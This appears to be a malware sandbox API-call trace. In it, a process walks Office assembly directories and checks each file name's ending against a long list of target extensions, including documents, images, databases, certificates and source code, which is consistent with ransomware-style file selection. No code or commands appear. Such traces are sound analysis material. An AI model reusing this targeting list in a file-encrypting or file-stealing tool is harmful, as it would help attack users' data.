	[0085.587] lstrlenW (lpString=".bak") returned 4
	[0085.587] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".bay") returned 4
	[0085.587] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".bd") returned 3
	[0085.587] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0085.587] lstrlenW (lpString=".bin") returned 4
	[0085.587] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".bmp") returned 4
	[0085.587] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".bz2") returned 4
	[0085.587] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".c") returned 2
	[0085.587] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0085.587] lstrlenW (lpString=".cdr") returned 4
	[0085.587] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".cer") returned 4
	[0085.587] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".cf") returned 3
	[0085.587] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0085.587] lstrlenW (lpString=".cfc") returned 4
	[0085.587] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".cfm") returned 4
	[0085.587] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".cfml") returned 5
	[0085.587] lstrcmpiW (lpString1=".cfml", lpString2="l.dll") returned -1
	[0085.587] lstrlenW (lpString=".cfu") returned 4
	[0085.587] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".chm") returned 4
	[0085.587] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".cin") returned 4
	[0085.587] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".class") returned 6
	[0085.587] lstrcmpiW (lpString1=".class", lpString2="tl.dll") returned -1
	[0085.587] lstrlenW (lpString=".clx") returned 4
	[0085.587] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0085.587] lstrlenW (lpString=".config") returned 7
	[0085.587] lstrcmpiW (lpString1=".config", lpString2="ntl.dll") returned -1
	[0085.588] lstrlenW (lpString=".cpp") returned 4
	[0085.588] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".cr2") returned 4
	[0085.588] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".crt") returned 4
	[0085.588] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".crw") returned 4
	[0085.588] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".cs") returned 3
	[0085.588] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0085.588] lstrlenW (lpString=".css") returned 4
	[0085.588] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".csv") returned 4
	[0085.588] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".cub") returned 4
	[0085.588] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dae") returned 4
	[0085.588] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dat") returned 4
	[0085.588] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".db") returned 3
	[0085.588] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0085.588] lstrlenW (lpString=".dbf") returned 4
	[0085.588] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dbx") returned 4
	[0085.588] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dc3") returned 4
	[0085.588] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dcm") returned 4
	[0085.588] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dcr") returned 4
	[0085.588] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".der") returned 4
	[0085.588] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dib") returned 4
	[0085.588] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dic") returned 4
	[0085.588] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0085.588] lstrlenW (lpString=".dif") returned 4
	[0085.589] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0085.589] lstrlenW (lpString=".divx") returned 5
	[0085.589] lstrcmpiW (lpString1=".divx", lpString2="l.dll") returned -1
	[0085.589] lstrlenW (lpString=".djvu") returned 5
	[0085.589] lstrcmpiW (lpString1=".djvu", lpString2="l.dll") returned -1
	[0085.589] lstrlenW (lpString=".dng") returned 4
	[0085.589] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".doc") returned 4
	[0085.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".docm") returned 5
	[0085.589] lstrcmpiW (lpString1=".docm", lpString2="l.dll") returned -1
	[0085.589] lstrlenW (lpString=".docx") returned 5
	[0085.589] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1
	[0085.589] lstrlenW (lpString=".dot") returned 4
	[0085.589] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".dotm") returned 5
	[0085.589] lstrcmpiW (lpString1=".dotm", lpString2="l.dll") returned -1
	[0085.589] lstrlenW (lpString=".dotx") returned 5
	[0085.589] lstrcmpiW (lpString1=".dotx", lpString2="l.dll") returned -1
	[0085.589] lstrlenW (lpString=".dpx") returned 4
	[0085.589] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".dqy") returned 4
	[0085.589] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".dsn") returned 4
	[0085.589] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".dt") returned 3
	[0085.589] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0085.589] lstrlenW (lpString=".dtd") returned 4
	[0085.589] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".dwg") returned 4
	[0085.589] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".dwt") returned 4
	[0085.589] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".dx") returned 3
	[0085.589] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0085.589] lstrlenW (lpString=".dxf") returned 4
	[0085.589] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0085.589] lstrlenW (lpString=".edml") returned 5
	[0085.590] lstrcmpiW (lpString1=".edml", lpString2="l.dll") returned -1
	[0085.590] lstrlenW (lpString=".efd") returned 4
	[0085.590] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".elf") returned 4
	[0085.590] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".emf") returned 4
	[0085.590] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".emz") returned 4
	[0085.590] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".epf") returned 4
	[0085.590] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".eps") returned 4
	[0085.590] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".epsf") returned 5
	[0085.590] lstrcmpiW (lpString1=".epsf", lpString2="l.dll") returned -1
	[0085.590] lstrlenW (lpString=".epsp") returned 5
	[0085.590] lstrcmpiW (lpString1=".epsp", lpString2="l.dll") returned -1
	[0085.590] lstrlenW (lpString=".erf") returned 4
	[0085.590] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".exr") returned 4
	[0085.590] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".f4v") returned 4
	[0085.590] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".fido") returned 5
	[0085.590] lstrcmpiW (lpString1=".fido", lpString2="l.dll") returned -1
	[0085.590] lstrlenW (lpString=".flm") returned 4
	[0085.590] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".flv") returned 4
	[0085.590] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".frm") returned 4
	[0085.590] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".fxg") returned 4
	[0085.590] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".geo") returned 4
	[0085.590] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".gif") returned 4
	[0085.590] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0085.590] lstrlenW (lpString=".grs") returned 4
	[0085.590] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".gz") returned 3
	[0085.591] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0085.591] lstrlenW (lpString=".h") returned 2
	[0085.591] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0085.591] lstrlenW (lpString=".hdr") returned 4
	[0085.591] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".hpp") returned 4
	[0085.591] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".hta") returned 4
	[0085.591] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".htc") returned 4
	[0085.591] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".htm") returned 4
	[0085.591] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".html") returned 5
	[0085.591] lstrcmpiW (lpString1=".html", lpString2="l.dll") returned -1
	[0085.591] lstrlenW (lpString=".icb") returned 4
	[0085.591] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".ics") returned 4
	[0085.591] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".iff") returned 4
	[0085.591] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".inc") returned 4
	[0085.591] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".indd") returned 5
	[0085.591] lstrcmpiW (lpString1=".indd", lpString2="l.dll") returned -1
	[0085.591] lstrlenW (lpString=".ini") returned 4
	[0085.591] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".iqy") returned 4
	[0085.591] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".j2c") returned 4
	[0085.591] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".j2k") returned 4
	[0085.591] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0085.591] lstrlenW (lpString=".java") returned 5
	[0085.591] lstrcmpiW (lpString1=".java", lpString2="l.dll") returned -1
	[0085.591] lstrlenW (lpString=".jp2") returned 4
	[0085.591] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".jpc") returned 4
	[0085.592] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".jpe") returned 4
	[0085.592] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".jpeg") returned 5
	[0085.592] lstrcmpiW (lpString1=".jpeg", lpString2="l.dll") returned -1
	[0085.592] lstrlenW (lpString=".jpf") returned 4
	[0085.592] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".jpg") returned 4
	[0085.592] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".jpx") returned 4
	[0085.592] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".js") returned 3
	[0085.592] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0085.592] lstrlenW (lpString=".jsf") returned 4
	[0085.592] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".json") returned 5
	[0085.592] lstrcmpiW (lpString1=".json", lpString2="l.dll") returned -1
	[0085.592] lstrlenW (lpString=".jsp") returned 4
	[0085.592] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".kdc") returned 4
	[0085.592] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".kmz") returned 4
	[0085.592] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".kwm") returned 4
	[0085.592] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".lasso") returned 6
	[0085.592] lstrcmpiW (lpString1=".lasso", lpString2="tl.dll") returned -1
	[0085.592] lstrlenW (lpString=".lbi") returned 4
	[0085.592] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".lgf") returned 4
	[0085.592] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".lgp") returned 4
	[0085.592] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".log") returned 4
	[0085.592] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0085.592] lstrlenW (lpString=".m1v") returned 4
	[0085.592] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".m4a") returned 4
	[0085.593] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".m4v") returned 4
	[0085.593] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".max") returned 4
	[0085.593] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".md") returned 3
	[0085.593] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0085.593] lstrlenW (lpString=".mda") returned 4
	[0085.593] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mdb") returned 4
	[0085.593] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mde") returned 4
	[0085.593] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mdf") returned 4
	[0085.593] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mdw") returned 4
	[0085.593] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mef") returned 4
	[0085.593] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mft") returned 4
	[0085.593] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mfw") returned 4
	[0085.593] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mht") returned 4
	[0085.593] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mhtml") returned 6
	[0085.593] lstrcmpiW (lpString1=".mhtml", lpString2="tl.dll") returned -1
	[0085.593] lstrlenW (lpString=".mka") returned 4
	[0085.593] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mkidx") returned 6
	[0085.593] lstrcmpiW (lpString1=".mkidx", lpString2="tl.dll") returned -1
	[0085.593] lstrlenW (lpString=".mkv") returned 4
	[0085.593] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mos") returned 4
	[0085.593] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0085.593] lstrlenW (lpString=".mov") returned 4
	[0085.593] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".mp3") returned 4
	[0085.594] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".mp4") returned 4
	[0085.594] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".mpeg") returned 5
	[0085.594] lstrcmpiW (lpString1=".mpeg", lpString2="l.dll") returned -1
	[0085.594] lstrlenW (lpString=".mpg") returned 4
	[0085.594] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".mpv") returned 4
	[0085.594] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".mrw") returned 4
	[0085.594] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".msg") returned 4
	[0085.594] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".mxl") returned 4
	[0085.594] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".myd") returned 4
	[0085.594] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".myi") returned 4
	[0085.594] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".nef") returned 4
	[0085.594] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".nrw") returned 4
	[0085.594] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".obj") returned 4
	[0085.594] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".odb") returned 4
	[0085.594] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".odc") returned 4
	[0085.594] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".odm") returned 4
	[0085.594] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".odp") returned 4
	[0085.594] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".ods") returned 4
	[0085.594] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0085.594] lstrlenW (lpString=".oft") returned 4
	[0085.595] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".one") returned 4
	[0085.595] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".onepkg") returned 7
	[0085.595] lstrcmpiW (lpString1=".onepkg", lpString2="ntl.dll") returned -1
	[0085.595] lstrlenW (lpString=".onetoc2") returned 8
	[0085.595] lstrcmpiW (lpString1=".onetoc2", lpString2="intl.dll") returned -1
	[0085.595] lstrlenW (lpString=".opt") returned 4
	[0085.595] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".oqy") returned 4
	[0085.595] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".orf") returned 4
	[0085.595] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".p12") returned 4
	[0085.595] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".p7b") returned 4
	[0085.595] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".p7c") returned 4
	[0085.595] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pam") returned 4
	[0085.595] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pbm") returned 4
	[0085.595] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pct") returned 4
	[0085.595] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pcx") returned 4
	[0085.595] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pdd") returned 4
	[0085.595] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pdf") returned 4
	[0085.595] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pdp") returned 4
	[0085.595] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pef") returned 4
	[0085.595] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pem") returned 4
	[0085.595] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0085.595] lstrlenW (lpString=".pff") returned 4
	[0085.596] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".pfm") returned 4
	[0085.596] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".pfx") returned 4
	[0085.596] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".pgm") returned 4
	[0085.596] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".php") returned 4
	[0085.596] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".php3") returned 5
	[0085.596] lstrcmpiW (lpString1=".php3", lpString2="l.dll") returned -1
	[0085.596] lstrlenW (lpString=".php4") returned 5
	[0085.596] lstrcmpiW (lpString1=".php4", lpString2="l.dll") returned -1
	[0085.596] lstrlenW (lpString=".php5") returned 5
	[0085.596] lstrcmpiW (lpString1=".php5", lpString2="l.dll") returned -1
	[0085.596] lstrlenW (lpString=".phtml") returned 6
	[0085.596] lstrcmpiW (lpString1=".phtml", lpString2="tl.dll") returned -1
	[0085.596] lstrlenW (lpString=".pict") returned 5
	[0085.596] lstrcmpiW (lpString1=".pict", lpString2="l.dll") returned -1
	[0085.596] lstrlenW (lpString=".pl") returned 3
	[0085.596] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0085.596] lstrlenW (lpString=".pls") returned 4
	[0085.596] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".pm") returned 3
	[0085.596] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0085.596] lstrlenW (lpString=".png") returned 4
	[0085.596] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".pnm") returned 4
	[0085.596] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".pot") returned 4
	[0085.596] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".potm") returned 5
	[0085.596] lstrcmpiW (lpString1=".potm", lpString2="l.dll") returned -1
	[0085.596] lstrlenW (lpString=".potx") returned 5
	[0085.596] lstrcmpiW (lpString1=".potx", lpString2="l.dll") returned -1
	[0085.596] lstrlenW (lpString=".ppa") returned 4
	[0085.596] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0085.596] lstrlenW (lpString=".ppam") returned 5
	[0085.597] lstrcmpiW (lpString1=".ppam", lpString2="l.dll") returned -1
	[0085.597] lstrlenW (lpString=".ppm") returned 4
	[0085.597] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".pps") returned 4
	[0085.597] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".ppsm") returned 5
	[0085.597] lstrcmpiW (lpString1=".ppsm", lpString2="l.dll") returned -1
	[0085.597] lstrlenW (lpString=".ppt") returned 4
	[0085.597] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".pptm") returned 5
	[0085.597] lstrcmpiW (lpString1=".pptm", lpString2="l.dll") returned -1
	[0085.597] lstrlenW (lpString=".pptx") returned 5
	[0085.597] lstrcmpiW (lpString1=".pptx", lpString2="l.dll") returned -1
	[0085.597] lstrlenW (lpString=".prn") returned 4
	[0085.597] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".ps") returned 3
	[0085.597] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0085.597] lstrlenW (lpString=".psb") returned 4
	[0085.597] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".psd") returned 4
	[0085.597] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".pst") returned 4
	[0085.597] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".ptx") returned 4
	[0085.597] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".pub") returned 4
	[0085.597] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".pwm") returned 4
	[0085.597] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0085.597] lstrlenW (lpString=".pxr") returned 4
	[0085.597] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0085.597] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.597] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0085.598] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0085.598] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.598] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0
	[0085.598] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0085.598] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
